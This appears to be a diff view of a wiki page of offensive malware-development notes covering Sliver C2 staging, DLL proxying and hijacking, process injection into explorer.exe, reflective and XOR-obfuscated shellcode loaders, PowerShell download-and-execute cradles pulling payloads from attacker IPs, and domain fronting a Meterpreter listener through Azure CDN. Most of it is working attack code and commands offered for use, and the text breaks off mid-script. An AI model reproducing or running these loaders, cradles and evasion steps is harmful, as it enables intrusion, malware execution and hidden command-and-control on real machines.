uint threadId; | uint threadId; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
No I will start an smbserver on my kali and setup sliver. | No I will start an smbserver on my kali and setup sliver. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Create a new profile that will be we will use for our staging listener. | # Create a new profile that will be we will use for our staging listener. | ||
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode | profiles new --mtls 192.168.1.38 --format shellcode win-shellcode | ||
# Creata a steage listener and link it to our profile. | # Creata a steage listener and link it to our profile. | ||
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size | stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size | ||
# Last start a listener on mTLS. | # Last start a listener on mTLS. | ||
mtls | mtls | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-12-image-3.png|thumb]] | [[File:2023-12-image-3.png|thumb]] | ||
[[File:2023-12-image-4.png|thumb]] | [[File:2023-12-image-4.png|thumb]] | ||
[[File:2023-12-image-5.png|thumb]] | [[File:2023-12-image-5.png|thumb]] | ||
== Convert .bin to shellcode \x hex == | == Convert .bin to shellcode \x hex == | ||
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)] | [https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
./binnim ~/shellcode.bin | ./binnim ~/shellcode.bin | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== DLL Proxying == | == DLL Proxying == | ||
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background. | This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background. | ||
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)] | [https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)] | ||
> * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app). | > * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app). | ||
| Line 1,401: | Line 961: | ||
> | > | ||
> * Automatically generate Visual Studio solutions for vulnerable DLLs. | > * Automatically generate Visual Studio solutions for vulnerable DLLs. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose | Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing. | Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing. | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
#pragma once | #pragma once | ||
#pragma comment(linker,"/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4") | #pragma comment(linker,"/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4") | ||
#pragma comment(linker,"/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5") | #pragma comment(linker,"/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5") | ||
| Line 1,522: | Line 1,078: | ||
#pragma comment(linker,"/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107") | #pragma comment(linker,"/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107") | ||
#pragma comment(linker,"/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108") | #pragma comment(linker,"/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108") | ||
#include "windows.h" | #include "windows.h" | ||
#include "ios" | #include "ios" | ||
#include "fstream" | #include "fstream" | ||
// Remove this line if you aren't proxying any functions. | // Remove this line if you aren't proxying any functions. | ||
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\sspicli.dll"); | HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\sspicli.dll"); | ||
// Remove this function if you aren't proxying any functions. | // Remove this function if you aren't proxying any functions. | ||
VOID DebugToFile(LPCSTR szInput) | VOID DebugToFile(LPCSTR szInput) | ||
| Line 1,538: | Line 1,091: | ||
log << "\n"; | log << "\n"; | ||
} | } | ||
void Payload() | void Payload() | ||
{ | { | ||
STARTUPINFO si; | STARTUPINFO si; | ||
PROCESS_INFORMATION pi; | PROCESS_INFORMATION pi; | ||
wchar_t cmd[] = L"calc.exe"; | wchar_t cmd[] = L"calc.exe"; | ||
ZeroMemory(&si, sizeof(si)); | ZeroMemory(&si, sizeof(si)); | ||
si.cb = sizeof(si); | si.cb = sizeof(si); | ||
ZeroMemory(&pi, sizeof(pi)); | ZeroMemory(&pi, sizeof(pi)); | ||
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); | CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); | ||
} | } | ||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) | ||
| Line 1,568: | Line 1,116: | ||
return TRUE; | return TRUE; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== DLL Hijacking == | == DLL Hijacking == | ||
* Use ProcessMonitor with filters | * Use ProcessMonitor with filters | ||
<code>Result Contains "Name Not Found"</code> | <code>Result Contains "Name Not Found"</code> | ||
* <code>Path Ends With ".dll"</code> | * <code>Path Ends With ".dll"</code> | ||
* Generate a DLL. See below. | * Generate a DLL. See below. | ||
* Name it as with the same name as the missing DLL. | * Name it as with the same name as the missing DLL. | ||
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order. | * If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order. | ||
DLL search order is as shown: | DLL search order is as shown: | ||
* The directory from which the application is loaded (E.g. '''C:\Program Files\application''') | * The directory from which the application is loaded (E.g. '''C:\Program Files\application''') | ||
* The system directory ('''C:\Windows\System32''') | * The system directory ('''C:\Windows\System32''') | ||
* The 16-bit system directory | * The 16-bit system directory | ||
* The Windows directory | * The Windows directory | ||
* The current directory | * The current directory | ||
* Directories that are listed in the ''PATH'' environment variable | * Directories that are listed in the ''PATH'' environment variable | ||
== DLL Injection == | == DLL Injection == | ||
* Open Visual Studios | * Open Visual Studios | ||
* Choose <code>Class Library (.Net Framework)</code>. | * Choose <code>Class Library (.Net Framework)</code>. | ||
* Accept the default name: <code>ClassLibrary1</code> and proceed. | * Accept the default name: <code>ClassLibrary1</code> and proceed. | ||
=== Staged DLL Injection === | === Staged DLL Injection === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 1,632: | Line 1,159: | ||
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll | LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll | ||
</syntaxhighlight> | </syntaxhighlight> | ||
This is a ConsoleApp. When its run it will inject the generated '''met.dll '''above into '''explorer.exe'''. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it. | This is a ConsoleApp. When its run it will inject the generated '''met.dll '''above into '''explorer.exe'''. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it. | ||
Note that this payload will write the met.dll to '''disk. ''' | Note that this payload will write the met.dll to '''disk. ''' | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 1,646: | Line 1,170: | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
using System.Text; | using System.Text; | ||
namespace Inject | namespace Inject | ||
{ | { | ||
| Line 1,655: | Line 1,178: | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | ||
// Import the VirtualAllocEx function from the kernel32.dll library. | // Import the VirtualAllocEx function from the kernel32.dll library. | ||
// This function allocates memory within a specified process. | // This function allocates memory within a specified process. | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
// Import the WriteProcessMemory function from the kernel32.dll library. | // Import the WriteProcessMemory function from the kernel32.dll library. | ||
// This function writes data to an area of memory in a specified process. | // This function writes data to an area of memory in a specified process. | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | ||
// Import the CreateRemoteThread function from the kernel32.dll library. | // Import the CreateRemoteThread function from the kernel32.dll library. | ||
// This function creates a thread that runs in the address space of a specified process. | // This function creates a thread that runs in the address space of a specified process. | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
// Import the GetProcAddress function from the kernel32.dll library. | // Import the GetProcAddress function from the kernel32.dll library. | ||
// This function retrieves the address of an exported function or variable from a specified DLL. | // This function retrieves the address of an exported function or variable from a specified DLL. | ||
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] | ||
static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | ||
// Import the GetModuleHandle function from the kernel32.dll library. | // Import the GetModuleHandle function from the kernel32.dll library. | ||
// This function retrieves a handle to the specified module (DLL) in the current process. | // This function retrieves a handle to the specified module (DLL) in the current process. | ||
[DllImport("kernel32.dll", CharSet = CharSet.Auto)] | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] | ||
public static extern IntPtr GetModuleHandle(string lpModuleName); | public static extern IntPtr GetModuleHandle(string lpModuleName); | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
// Get the path to the My Documents folder. | // Get the path to the My Documents folder. | ||
String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); | String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); | ||
// Construct the full path to the DLL file to be downloaded. | // Construct the full path to the DLL file to be downloaded. | ||
String dllName = dir + "\\met.dll"; | String dllName = dir + "\\met.dll"; | ||
// Create a WebClient instance for downloading files from the Internet. | // Create a WebClient instance for downloading files from the Internet. | ||
WebClient wc = new WebClient(); | WebClient wc = new WebClient(); | ||
// Download the DLL file from the specified URL to the local system. | // Download the DLL file from the specified URL to the local system. | ||
wc.DownloadFile("http://192.168.119.120/met.dll", dllName); | wc.DownloadFile("http://192.168.119.120/met.dll", dllName); | ||
// Get an array of Process instances for processes with the name "explorer". | // Get an array of Process instances for processes with the name "explorer". | ||
Process[] expProc = Process.GetProcessesByName("explorer"); | Process[] expProc = Process.GetProcessesByName("explorer"); | ||
// Get the process ID of the first explorer process. | // Get the process ID of the first explorer process. | ||
int pid = expProc[0].Id; | int pid = expProc[0].Id; | ||
// Open the specified process with certain access rights. | // Open the specified process with certain access rights. | ||
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); | IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); | ||
// Allocate memory within the specified process. | // Allocate memory within the specified process. | ||
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); | IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); | ||
// Declare a variable to store the number of bytes written during memory write operation. | // Declare a variable to store the number of bytes written during memory write operation. | ||
IntPtr outSize; | IntPtr outSize; | ||
// Write the bytes of the DLL name to the allocated memory in the target process. | // Write the bytes of the DLL name to the allocated memory in the target process. | ||
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize); | Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize); | ||
// Get the address of the LoadLibraryA function from the kernel32.dll library. | // Get the address of the LoadLibraryA function from the kernel32.dll library. | ||
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); | IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); | ||
// Create a remote thread within the target process to execute the LoadLibraryA function. | // Create a remote thread within the target process to execute the LoadLibraryA function. | ||
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero); | IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero); | ||
| Line 1,721: | Line 1,227: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-08-image-4.png|thumb]] | [[File:2023-08-image-4.png|thumb]] | ||
=== Reflective DLL Injection === | === Reflective DLL Injection === | ||
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory '''without touching the disk'''. | This is a ClassLibrary. PowerShell that will download and execute malicious code in memory '''without touching the disk'''. | ||
Requires a malicious DLL hosted on a download location you control. | Requires a malicious DLL hosted on a download location you control. | ||
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL. | You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL. | ||
The below code is a Class Library (.NET Framework) | The below code is a Class Library (.NET Framework) | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace runthat | namespace runthat | ||
{ | { | ||
| Line 1,753: | Line 1,250: | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); | public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); | public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); | ||
public static void Tripoli() | public static void Tripoli() | ||
{ | { | ||
byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ }; | byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ }; | ||
int size = Tokyo.Length; | int size = Tokyo.Length; | ||
IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40); | IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40); | ||
Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length); | Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length); | ||
Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _); | Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _); | ||
IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero); | IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero); | ||
Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF); | Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF); | ||
Beirut.VirtualFree(Texas, 0, 0x8000); | Beirut.VirtualFree(Texas, 0, 0x8000); | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Now load the DLL into memory. | Now load the DLL into memory. | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run4.dll') | $data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run4.dll') | ||
$assem = [System.Reflection.Assembly]::Load($data) | $assem = [System.Reflection.Assembly]::Load($data) | ||
$class = $assem.GetType("runthat.Beirut") | $class = $assem.GetType("runthat.Beirut") | ||
| Line 1,800: | Line 1,282: | ||
$method.Invoke(0, $null) | $method.Invoke(0, $null) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== XOR'ed DLL injection code === | === XOR'ed DLL injection code === | ||
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!! | Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!! | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace runthat | namespace runthat | ||
| Line 1,817: | Line 1,295: | ||
public class Beirut | public class Beirut | ||
{ | { | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); | public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); | public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); | ||
public static void Tripoli() | public static void Tripoli() | ||
{ | { | ||
byte[] Tokyo = new byte[324] {0xa8,....}; | byte[] Tokyo = new byte[324] {0xa8,....}; | ||
for (int i = 0; i < Tokyo.Length; i++) | for (int i = 0; i < Tokyo.Length; i++) | ||
{ | { | ||
Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) & 0xFF); | Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) & 0xFF); | ||
} | } | ||
int size = Tokyo.Length; | int size = Tokyo.Length; | ||
IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40); | IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40); | ||
Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length); | Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length); | ||
Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _); | Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _); | ||
IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero); | IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero); | ||
Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF); | Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF); | ||
Beirut.VirtualFree(Texas, 0, 0x8000); | Beirut.VirtualFree(Texas, 0, 0x8000); | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 === | === Reflective injection using Invoke-ReflectivePEInjection.ps1 === | ||
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit] | [https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit] | ||
Public version may fail on Windows 10 1803 or newer due to issues with GetProcAddress in UnsafeNativeMethods . An updated script version is available to handle this in OneNote. | Public version may fail on Windows 10 1803 or newer due to issues with GetProcAddress in UnsafeNativeMethods . An updated script version is available to handle this in OneNote. | ||
'''Setup:''' | '''Setup:''' | ||
* '''Allow Script Execution in PowerShell''' | * '''Allow Script Execution in PowerShell''' | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
Powershell -Exec Bypass | Powershell -Exec Bypass | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Commands:''' | '''Commands:''' | ||
* '''Download DLL and Get Explorer.exe Process ID''': | * '''Download DLL and Get Explorer.exe Process ID''': | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,898: | Line 1,351: | ||
$procid = (Get-Process -Name explorer).Id | $procid = (Get-Process -Name explorer).Id | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Import Invoke-ReflectivePEInjection Script''': | * '''Import Invoke-ReflectivePEInjection Script''': | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
Import-Module Invoke-ReflectivePEInjection.ps1 | Import-Module Invoke-ReflectivePEInjection.ps1 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID''': | * '''Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID''': | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid | Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory. | Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory. | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.45.192/met3.dll') | $bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.45.192/met3.dll') | ||
$procid = (Get-Process -Name explorer).Id | $procid = (Get-Process -Name explorer).Id | ||
IEX(New-Object Net.WebClient).downloadString('http://192.168.45.192/Invoke-ReflectivePEInjection.ps1') | IEX(New-Object Net.WebClient).downloadString('http://192.168.45.192/Invoke-ReflectivePEInjection.ps1') | ||
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid | Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Domain Fronting == | == Domain Fronting == | ||
'''Domain fronting''' is a technique where someone hides the true destination of their internet traffic by making it appear as though it's headed to a trusted and well-known website. Once the traffic reaches that trusted site, it's then redirected to its actual, hidden destination. It's like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient. | '''Domain fronting''' is a technique where someone hides the true destination of their internet traffic by making it appear as though it's headed to a trusted and well-known website. Once the traffic reaches that trusted site, it's then redirected to its actual, hidden destination. It's like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient. | ||
=== Domain Fronting with Azure CDN === | === Domain Fronting with Azure CDN === | ||
'''Objective''': Host a Meterpreter listener on meterpreter.info using Azure's CDN to proxy requests. | '''Objective''': Host a Meterpreter listener on meterpreter.info using Azure's CDN to proxy requests. | ||
'''1. Preliminaries''': | '''1. Preliminaries''': | ||
* A controlled domain. | * A controlled domain. | ||
* An Azure subscription to create a CDN. | * An Azure subscription to create a CDN. | ||
* An internet-accessible machine. | * An internet-accessible machine. | ||
* Current setup: meterpreter.info points to an Ubuntu VM on DigitalOcean (IP: 138.68.99.177 ). | * Current setup: meterpreter.info points to an Ubuntu VM on DigitalOcean (IP: 138.68.99.177 ). | ||
'''2. Setting Up CDN in Azure''': | '''2. Setting Up CDN in Azure''': | ||
* From the Home screen, choose Create Resource . | * From the Home screen, choose Create Resource . | ||
* Search for CDN . | * Search for CDN . | ||
* Select CDN and click Create . | * Select CDN and click Create . | ||
'''Configuration''': | '''Configuration''': | ||
* Name : Any chosen name. | * Name : Any chosen name. | ||
* Subscription : To pay for the service. | * Subscription : To pay for the service. | ||
* Resource Group : Create new or use existing (Add -rg at end for new). | * Resource Group : Create new or use existing (Add -rg at end for new). | ||
* RG Location : Chosen geographic location. | * RG Location : Chosen geographic location. | ||
* Pricing Tier : Use Standard Verizon . | * Pricing Tier : Use Standard Verizon . | ||
* CDN Endpoint Name : Chosen name with suffix .azureedge.net . | * CDN Endpoint Name : Chosen name with suffix .azureedge.net . | ||
* Origin Type : Set to Custom Origin . | * Origin Type : Set to Custom Origin . | ||
* Origin Hostname : The domain hosting the C2 server. | * Origin Hostname : The domain hosting the C2 server. | ||
Wait ~90 minutes for Azure to complete the setup. | Wait ~90 minutes for Azure to complete the setup. | ||
'''3. Disabling Caching''': | '''3. Disabling Caching''': | ||
* Caching may break the C2 channel. | * Caching may break the C2 channel. | ||
* Choose Endpoint and Caching rules . | * Choose Endpoint and Caching rules . | ||
* Set Caching Behavior to Bypass Cache . | * Set Caching Behavior to Bypass Cache . | ||
* Set Query String Caching Behavior to Bypass caching for query strings . | * Set Query String Caching Behavior to Bypass caching for query strings . | ||
Wait up to 30 minutes for propagation. | Wait up to 30 minutes for propagation. | ||
'''4. Testing Connectivity''': | '''4. Testing Connectivity''': | ||
'''4.1. HTTP Testing''': | '''4.1. HTTP Testing''': | ||
<syntaxhighlight lang="python"> | <syntaxhighlight lang="python"> | ||
sudo python3 -m http.server 80 | sudo python3 -m http.server 80 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''4.2. HTTPS Testing''': | '''4.2. HTTPS Testing''': | ||
Use a Python script to handle HTTPS. | Use a Python script to handle HTTPS. | ||
<syntaxhighlight lang="python"> | <syntaxhighlight lang="python"> | ||
| Line 2,039: | Line 1,448: | ||
import ssl | import ssl | ||
import socketserver | import socketserver | ||
